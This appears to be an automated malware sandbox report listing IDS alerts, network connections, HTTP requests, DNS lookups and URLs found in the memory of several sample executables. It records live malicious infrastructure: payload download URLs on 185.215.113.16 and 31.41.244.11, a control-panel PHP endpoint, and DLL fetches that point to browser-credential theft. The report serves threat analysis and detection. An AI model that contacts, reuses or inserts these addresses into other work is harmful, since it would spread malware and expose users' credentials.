Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49775 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49747 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49753 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49781 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49792 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49805 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49823 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50021 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49873 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50026 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50027 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50029 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50032 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50035 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50034 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50036 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50037 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50038 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50039 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50040 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50043 -> 104.26.3.16:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50046 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50049 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50052 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

Code function: 4_2_0065E0C0 recv,recv,recv,recv,

4_2_0065E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feouewe5/raw HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/7254021059/abu7zly.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/nsx/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: fancywaxxers.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: get.craca.ru
Source: global traffic	DNS traffic detected: DNS query: fallyjustif.click
Source: global traffic	DNS traffic detected: DNS query: rentry.co

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/3(R
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/4(
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/k(
Source: 2z8320.exe, 00000006.00000003.2416221476.0000000005C07000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2827526999.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exee
Source: 2z8320.exe, 00000006.00000003.2416507558.0000000001397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exegm
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exetxt-(D
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeA
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeY
Source: 2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exew
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.000000000019C000.00000040.00000001.01000000.0000000D.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000AEA000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000154000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll6
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll.
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllx
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000154000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.000000000019C000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php59a982cef9c3f5efefe749dbb903Extension
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B52F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php92&
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B52F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000154000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpge
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000AEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206L
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.000000000019C000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpge
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2840537714.0000000000154000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3459464987.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php922001
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJt
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe~
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php&
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3459464987.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7254021059/abu7zly.exe
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7254021059/abu7zly.exeo
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7254021059/abu7zly.exeshqos.dll
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exeP
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exew
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/nsx/random.exe
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/nsx/random.exef
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe01
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe7d1
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe7d1a
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe=
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeB
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exea
Source: skotes.exe, 00000017.00000002.3459464987.0000000000BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exees/unique1/random.exe923001
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exew
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000017.00000002.3459464987.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exej
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 2z8320.exe, 00000006.00000003.2301311547.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2956506107.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: skotes.exe, 00000017.00000002.3459464987.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
